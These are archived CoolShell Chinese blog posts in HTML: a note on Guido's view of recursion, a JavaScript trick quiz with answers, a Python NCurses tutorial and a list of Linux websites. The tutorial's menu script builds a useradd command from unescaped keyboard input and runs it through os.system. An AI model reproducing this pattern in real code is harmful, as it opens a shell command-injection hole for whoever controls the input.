class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/664.html\">使用PHP的cURL库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-26 Guido认为程序员大多数工作不需要递归.html",
    "content": "<html><body><p>Python的创造者Guido在最近一篇关于为什么Python里没有 Tail Recurssion Elimination （暂译：尾递归优化）的文章中提到一个我们可能经常听到的观点“真正的程序员一般不用递归”。</p>\n<p><a href=\"http://neopythonic.blogspot.com/2009/04/tail-recursion-elimination.html\">http://neopythonic.blogspot.com/2009/04/tail-recursion-elimination.html</a></p>\n<blockquote><p><span>Third,</span> I don’t believe in recursion as the basis of all programming. This is a fundamental belief of certain computer scientists, especially those who love Scheme and like to teach programming by starting with a “cons” cell and recursion. But to me, seeing recursion as the basis of everything else is just a nice theoretical approach to fundamental <span>mathematics</span> (<a href=\"http://en.wikipedia.org/wiki/Turtles_all_the_way_down\">turtles all the way down</a>), not a day-to-day tool.</p>\n<p>翻译：（第三点）我不认为递归是编程的基础。递归是一些计算机科学家们，尤其是那些热爱Scheme （lisp的一支）和喜欢用‘cons’ 来教表头表尾和递归的人们。但是对我（Guido）来说，递归只是一些为基础数学研究而存在的理论手段（例如分形几何学），而不是日常的编程工具。</p></blockquote>\n<p>这也再次证明当年“耗”哥当年在楼下遛弯时候给我的教导，好的程序员不在于多么会写看似非常聪明的代码，重要的是能够思路清晰的用最简单的方式解决问题。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2998.html\"><img alt=\"HTML5 小游戏展示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2998.html\">HTML5 小游戏展示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6424.html\"><img alt=\"Hash Collision DoS 问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10427.html\"><img alt=\"伙伴分配器的一个极简实现\" height=\"150\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/918.html\"><img alt=\"20个优秀的Javascript导航技术\" height=\"150\" src=\"../wp-content/uploads/2009/05/29-02_menu_matic-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/918.html\">20个优秀的Javascript导航技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/971.html\"><img alt=\"质量管理经中的八个法则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/971.html\">质量管理经中的八个法则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/694.html\">Guido认为程序员大多数工作不需要递归</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-26 你能做对下面这些JavaScript的题吗？.html",
    "content": "<html><body><p>你能做对下面这些JavaScript的题吗？</p>\n<p><a href=\"http://asserttrue.blogspot.com/2009/04/can-you-pass-this-javascript-test.html\">原文</a></p>\n<p>你认为你了解JavaScript? 快速的做一下下面的这些题目。并将下面的每一个表达式的值写出。(答案在问题后面)</p>\n<p>1. ++Math.PI<br/>\n2. (0.1 + 0.2) + 0.3 == 0.1 + (0.2 + 0.3)<br/>\n3. typeof NaN<br/>\n4. typeof typeof undefined<br/>\n5. a = {null:null}; typeof a.null;<br/>\n6. a = “5”; b = “2”; c = a * b;<br/>\n7. a = “5”; b = 2; c = a+++b;<br/>\n8. isNaN(1/null)<br/>\n9. (16).toString(16)<br/>\n10.016 * 2<br/>\n11.~null<br/>\n12.”ab c”.match(/\\b\\w\\b/)</p>\n<p><span id=\"more-688\"></span><br/>\n首先，这不是一个入门教程，因此我不会去对每一个答案做单独的解释，如果你觉得你有不理解的地方，我建议你 while (!掌握()) 专研它();</p>\n<p>答案：<br/>\n1. 4.141592653589793<br/>\n2. false<br/>\n3. “number”<br/>\n4. “string”<br/>\n5. “object”<br/>\n6. 10<br/>\n7. 7<br/>\n8. false<br/>\n9. 10<br/>\n10. 28<br/>\n11. -1<br/>\n12. [ “c” ]</p>\n<p>我的打分如下(每答对一题一分)：</p>\n<p>5分 – 7分: 了解javascript<br/>\n8分 – 10分: 专家<br/>\n11: 大学士<br/>\n12分: 大师</p>\n<p>简要的注释：<br/>\n第2题：答案是false，javascript和java非常相似(或则其他使用了IEEE 754浮点数的语言)，这也是为什么在和钱打交道的正式应用程序中一般不使用浮点数四则运算的原因，浮点数的加或乘除外，下面<a href=\"http://www.macaulay.ac.uk/fearlus/floating-point/\">这篇</a>文章有关于浮点数四则运算的一个详细的讨论。</p>\n<p>第6题：在四则运算表达式中使用乘、除或减，如果表达式中包含一个或多个字符型，那么语法解释器会试着首先将字符型转换为数值型，如果算术表达式包含着加号运算，那么所有的运算项都会被转换成字符型。</p>\n<p>第7题：JavaScript中表达式的运算的优先级是从坐到右(类似于Java和C)，因此，在这里将会是一个先a计算值，加上b，然后在a++的次序，而不是a加上++b这样的运算。</p>\n<p>第9题：toString() 可以带一个可选的数字参数。参数值16意味着基于16进制，返回的字符串将会是该数字的16进制表示，在这个例子里面就是10，如果你写.toString(2)那么你将会得到这个数字的2进制表示，等等。</p>\n<p>第10题：016是8进制表示，即8进制的14。虽然是这样，但比较有趣的是，如果有你以”016″(字符串形式)去乘上一个数，语法解释器会认为”016″是基于10进制的数。</p>\n<p>如果你不能正确的写出这些题目的答案，不要灰心丧气，因为几乎上面的每一个问题都(明显地)含有着蒙蔽人小伎俩，现在让我问面对它。当然，如果你非常正确的回答了上面的所有问题，你也不必太过沾沾自喜，这意味着这你仅仅是一个比任何正常人都奇怪的javascript怪杰而已！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/688.html\">你能做对下面这些JavaScript的题吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-26 用Python写NCurses UI.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg\"></a>Ncurses是一个能提供基于文本终端窗口功能的动态库. Ncurses可以:</p>\n<ul>\n<li>可以使用整个屏幕</li>\n<li>创建和管理一个窗口</li>\n<li>使用8种不同的彩色</li>\n<li>为您的程序提供鼠标支持</li>\n<li>使用键盘上的功能键</li>\n</ul>\n<p>Ncurses可以在任何遵循ANSI/POSIX标准的Unix/Linux系统上运行，除此之外，它还可以从系统数据库中检测终端的属性,，并且自动进行调整,提供一个不受终端约束的接口。因此,Ncurses可以在不同的系统平台和不同的终端上工作的非常好。</p>\n<p><span id=\"more-677\"></span></p>\n<p>mc工具集就是一个用ncurses写的很好的例子,而且在终端上系统核心配置的界面同样是用ncurses编写的. 下面就是它们的截图：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example.jpg\"><img alt=\"ncurses_example\" class=\"alignnone size-full wp-image-678\" height=\"423\" src=\"../wp-content/uploads/2009/04/ncurses_example.jpg\" title=\"ncurses_example\" width=\"526\"/></a></p>\n<p>当然，在我们这篇文章中，我们不会教你怎么写NCurses程序，我们只是想告诉你如何用Python来写Ncurses的程序，示例会非常简单，点到为止。</p>\n<p>在此之前，我们先简单的回顾一下如何使用Python的一些简单的语法。</p>\n<p>先看看一个最简单的Python程序：</p>\n<pre class=\"EnlighterJSRAW\">\nprint \"How easy is this?\" \n\nx = 1\ny = 2\nz = x + y\n\nprint \"Result of x + y is\", z\n</pre>\n<p>程序很简单，我就不多说，把这个文件存成test.py，然后在命令行下调用python test.py就可以看到输出了。</p>\n<p>下面我们再来看一个Python的函数定义——还是很简单，我也不用多说了。</p>\n<pre class=\"EnlighterJSRAW\">\ndef saystuff(mystring):\n     print \"You said:\", mystring \n\nsaystuff(\"Bach rules\")\nsaystuff(\"So does Telemann\")\n</pre>\n<p>好，言归正传，让我们来看一下，如何在Python中使用NCurses，下面是一个小例程：</p>\n<pre class=\"EnlighterJSRAW\">\nimport curses \n\nmyscreen = curses.initscr()\n\nmyscreen.border(0)\nmyscreen.addstr(12, 25, \"Python curses in action!\")\nmyscreen.refresh()\nmyscreen.getch()\n\ncurses.endwin()\n</pre>\n<p>注意这个示例中的第一行import curses，表明使用curses库，然后这个示像在屏幕中间输出“Python curses in action!”字样，其中坐标为12, 25，注意，在字符界面下，80 x 25是屏幕大小，其用的是字符，而不是像素。下面是运行后的抓屏：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncursespy.jpg\"><img alt=\"python_ncursespy\" class=\"alignnone size-full wp-image-679\" height=\"413\" src=\"../wp-content/uploads/2009/04/python_ncursespy.jpg\" title=\"python_ncursespy\" width=\"674\"/></a></p>\n<p> 最后，我们再来看一个数字菜单的示例：</p>\n<pre class=\"EnlighterJSRAW\">\n#!/usr/bin/env python\n\nfrom os import system\nimport curses\n\ndef get_param(prompt_string):\n     screen.clear()\n     screen.border(0)\n     screen.addstr(2, 2, prompt_string)\n     screen.refresh()\n     input = screen.getstr(10, 10, 60)\n     return input\n\ndef execute_cmd(cmd_string):\n     system(\"clear\")\n     a = system(cmd_string)\n     print \"\"\n     if a == 0:\n          print \"Command executed correctly\"\n     else:\n          print \"Command terminated with error\"\n     raw_input(\"Press enter\")\n     print \"\"\n\nx = 0\n\nwhile x != ord('4'):\n     screen = curses.initscr()\n\n     screen.clear()\n     screen.border(0)\n     screen.addstr(2, 2, \"Please enter a number...\")\n     screen.addstr(4, 4, \"1 - Add a user\")\n     screen.addstr(5, 4, \"2 - Restart Apache\")\n     screen.addstr(6, 4, \"3 - Show disk space\")\n     screen.addstr(7, 4, \"4 - Exit\")\n     screen.refresh()\n\n     x = screen.getch()\n\n     if x == ord('1'):\n          username = get_param(\"Enter the username\")\n          homedir = get_param(\"Enter the home directory, eg /home/nate\")\n          groups = get_param(\"Enter comma-separated groups, eg adm,dialout,cdrom\")\n          shell = get_param(\"Enter the shell, eg /bin/bash:\")\n          curses.endwin()\n          execute_cmd(\"useradd -d \" + homedir + \" -g 1000 -G \" + groups + \" -m -s \" + shell + \" \" + username)\n     if x == ord('2'):\n          curses.endwin()\n          execute_cmd(\"apachectl restart\")\n     if x == ord('3'):\n          curses.endwin()\n          execute_cmd(\"df -h\")\n\ncurses.endwin()\n</pre>\n<p>下面是运行时的显示：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg\"><img alt=\"python_ncurses\" class=\"alignnone size-full wp-image-680\" height=\"221\" src=\"../wp-content/uploads/2009/04/python_ncurses.jpg\" title=\"python_ncurses\" width=\"394\"/></a></p>\n<p>如果你你了解NCurses编程，你可以看看相关的Linux HOW-TO的文章，链接在这里：<a href=\"http://www.linux.org/docs/ldp/howto/NCURSES-Programming-HOWTO/index.html\" target=\"_blank\">Linux Documentation Project’s NCURSES Programming How To</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/677.html\">用Python写NCurses UI</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-28 25个Linux相关的网站.html",
    "content": "<html><body><p>下面是25个最具有影响力，也是最重要的Linux网站，这些网站提供了Linux的分发包，软件，文件，新闻，以及其它所有的关于Linux的东西。关于Linux的分发包历史，可以看看本站的这篇文章《<a class=\"title\" href=\"https://coolshell.cn/articles/85.html\" rel=\"bookmark\">Linux Distribution Timeline</a>》</p>\n<p>1. <a href=\"http://www.linux.org/\" target=\"_blank\">Linux.org</a></p>\n<p>这个站点主要提供Linux相关的新闻、文档、教程，培训，以及其它一切和Linux相关的东西。这是你需要了解Linux开源社区的总入口。</p>\n<p>2. <a href=\"http://www.debian.org/\" target=\"_blank\">Debian.org</a></p>\n<p>如果你想要了解所有关于 Debian 和Linux/GNU 操作系统的相关信息，这个网站是必需要访问的，因为这是Debian的官网。</p>\n<p><span id=\"more-701\"></span></p>\n<p>3. <a href=\"http://www.ubuntu.com/\" target=\"_blank\">Ubuntu.com</a></p>\n<p>这可能是桌面系统上最流行的Linux分发包了。</p>\n<p>4. <a href=\"http://www.fedora.com/\" target=\"_blank\">Fedora.com</a></p>\n<p>Fedora 的官网。Fedora 是一个开放的、创新的、前瞻性的操作系统和平台，基于 Linux。它允许任何人自由地使用、修改和重发布，无论现在还是将来。它由一个强大的社群开发，这个社群的成员以自己的不懈努力，提供并维护自由、开放源码的软件和开放的标准。Fedora 项目由 Fedora 基金会管理和控制，得到了 Red Hat, Inc. 的支持。</p>\n<p>5. <a href=\"http://www.novell.com/\" target=\"_blank\">Novell.com</a></p>\n<p>SuSE 也是一个相当不错的Linux分发包，这是SuSE的官网。SUSE Linux 原来是德国的 SuSE Linux AG公司发行维护的Linux发行版，是属于此公司的注册商标。2004年这家公司被Novell公司收购。</p>\n<p>6. <a href=\"http://www.opensuse.org/\" target=\"_blank\">OpenSUSE.org</a></p>\n<p>现在的 SUSE Linux 由 openSUSE 项目所维护，这个项目的主要目标是使 SUSE Linux 成为最易获得和最广泛使用的Linux，成为最棒的用户Linux桌面环境。</p>\n<p>7. <a href=\"http://www.redhat.com/\" target=\"_blank\">RedHat.com</a></p>\n<p>Linux红帽子分发包，RedHat致力于服务器和企业级领域的开发。RedHat可能是所有Linux开发包中最挣钱的一个了。</p>\n<p>8. <a href=\"http://www.mandriva.com/\" target=\"_blank\">Mandriva.com</a></p>\n<p>Mandriva 分发包的官网。Mandriva 是来自浪漫之国–法国的 Linux 发行套件之一。她是由mandrake和Conectiva两者发展而来的。同样她也提供免费版下载，是最易用的linux发行版本之一。现在最新版本是Mandriva Linux 2009。新人推荐使用。Mandriva Linux（原先的Mandrakelinux）创建于1998年，它以使Linux对每一个人都易用 为目标。当时Linux作为操作系统已经以强大和稳定而闻名，但它要求人们有很强的专业知识，并涉及大量的命令行操作。MandrakeSoft认为这是一个将最好的图形桌面环境以及它自己的图形界面配置工具集成到Linux中的机会，并且很快就以作为Linux易用性和功能性的典范而著称。Mandriva Linux以易用和令人愉快的软件环境，向个人用户和企业用户提供了Linux的所有强大功能和稳定性。每天都有成千上万的用户在初识Linux并发现它可以完全替代之前所使用的操作系统。无论是作为服务器还是工作站，Linux都用不着去妒嫉任何其他更广为采用的操作系统。</p>\n<p>9. <a href=\"http://www.linuxmint.com/\" target=\"_blank\">Linux Mint.com</a></p>\n<p>Linux Mint分发包的官网。Linux Mint是一份基于Ubuntu的发行，其目标是提供一种更完整的即刻可用体验，这包括提供浏览器插件、多媒体编解码器、对DVD播放的支持、Java和其他组件。它与Ubuntu软件仓库兼容。</p>\n<p>10. <a href=\"http://www.pclinuxos.com/\" target=\"_blank\">PCLinuxOS.com</a></p>\n<p>Linux 的 PCLinuxOS 分发包。PCLinuxOS是一份优秀的发行版，在国外很流行，在distrowatch.com的关注度与Ubuntu、Fedora、openSUSE不分高下。</p>\n<p>11. <a href=\"http://www.centos.org/\" target=\"_blank\">CentOS.org</a></p>\n<p>CentOS 官网。CentOS计划所推出──全名为”社区企业操作系统”（Community Enterprise Operating System）的这个计划是在2003年红帽决定不再提供免费的技术支持及产品认证之后的部份”红帽重建者”（Red Hat rebuilders）之一。redhat.com发布redhat 9(简写为rh9)后，不再开发redhat 10,11…,全面转向redhat enterprise linux(简写为rhel)的开发，和以往不同的是,新的rhel 3要求用户先购买lisence,redhat.com承诺保证产品的稳定性，安全性。rhel 3二进制代码不再提供下载，而是作为redhat 服务的一部分，但源代码依然是open。所以有了centos ,whitebox,dao 等等一批open source的企业版本，其中centos最为活跃。</p>\n<p>12. <a href=\"http://www.mepis.org/\" target=\"_blank\">Simply MEPIS</a></p>\n<p>MEPIS 分发包官网。MEPIS Linux是一份Linux桌面系统，它也能被方便地配置成专用的服务器。它被设计为同时适合于个人和商用目的。它拥有最新的特性，例如它是一张自启动运行/安装/修复光盘，以及自动配置硬件，NTFS分区大小调整支持，ACPI电源管理，WiFi支持，反混淆TrueType字体，个人防火墙，KDE桌面等等。</p>\n<p>13. <a href=\"http://www.pcbsd.org/\" target=\"_blank\">PC BSD</a></p>\n<p>PCBSD是基于FreeBSD的以桌面应用为目的的操作系统。PCBSD默认安装KDE桌面.它提供LINUX兼容模式，可以使用linux中优秀的媒体工具、办公软件，你可以像linux桌面版一样使用它。与FreeBSD的区别：PCBSD主要面向桌面应用，而FreeBSD主要针对服务器。PCBSD基于FREEBSD内核与KDE桌面，FreeBSD默认情况下是命令行界面</p>\n<p>14. <a href=\"http://www.distrowatch.com/\" target=\"_blank\">Distrowatch.com</a></p>\n<p>这是个非常不错的网站。你可以从这个网站上了解到所有Linux分发包的新闻和信息。</p>\n<p>15. <a href=\"http://tuxmachines.org/\" target=\"_blank\">Tuxmachines.org</a></p>\n<p>Tuxmachines.org 也是一个提供所有和Linux相关信息的网站。</p>\n<p>16. <a href=\"http://www.kernel.org/\" target=\"_blank\">Linux Kernel</a></p>\n<p>相了解Linux的内核的吗？这个网站你不能不去。这个网站上拥有世界上对Linux最狂热的人。</p>\n<p>17. <a href=\"http://www.linuxplanet.com/\" target=\"_blank\">Linux Planet</a></p>\n<p>也是一个关于Linux文章和信息的网站。如果你想跟上Linux的步伐，你需要经常上这个网站。</p>\n<p>18. <a href=\"http://www.tuxs.org/\" target=\"_blank\">Tuxs.org</a></p>\n<p>一个提供指南和教程的linux的站点。</p>\n<p>19. <a href=\"http://www.linuxfoundation.org/\" target=\"_blank\">Linux Foundation</a></p>\n<p>这是Linux专家级的站点，上面有很多新闻，文章等等。</p>\n<p>20. <a href=\"http://linuxgazette.net/\" target=\"_blank\">Linuxgazette.com</a></p>\n<p>一个专家云集的BLOG社区。</p>\n<p>21. <a href=\"http://www.linuxjournal.com/\" target=\"_blank\">Linux Journal</a></p>\n<p>Linux Journal团队的官网，提供了大量的How-To，教程，以及其它很多的Linux信息和技术文章。</p>\n<p>22. <a href=\"http://www.li.org/\" target=\"_blank\">Linux International</a></p>\n<p>Linux International 一个 vendor 组织其主要促进Linux操作系统。</p>\n<p>23. <a href=\"http://www.linuxhq.com/\" target=\"_blank\">Linux Headquarters</a></p>\n<p>Linux总部。又是一个很不错的网站，提供了很多关于Linux的新闻，链接，通知等等。</p>\n<p>24. <a href=\"http://tldp.org/\" target=\"_blank\">Linux Documentation Project</a></p>\n<p>这是一个基于Web站点的项目，其想要提供一个完整的质量上乘的Linux文档。也是一群充满激情的Linux狂热份子。</p>\n<p>25. <a href=\"http://www.linuxworld.com/\" target=\"_blank\">Linux World</a></p>\n<p>Linux World 主要面对的是企业级的应用和实现。这个网站提供了很多机会、技术和新闻，以及很多解决方案。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" 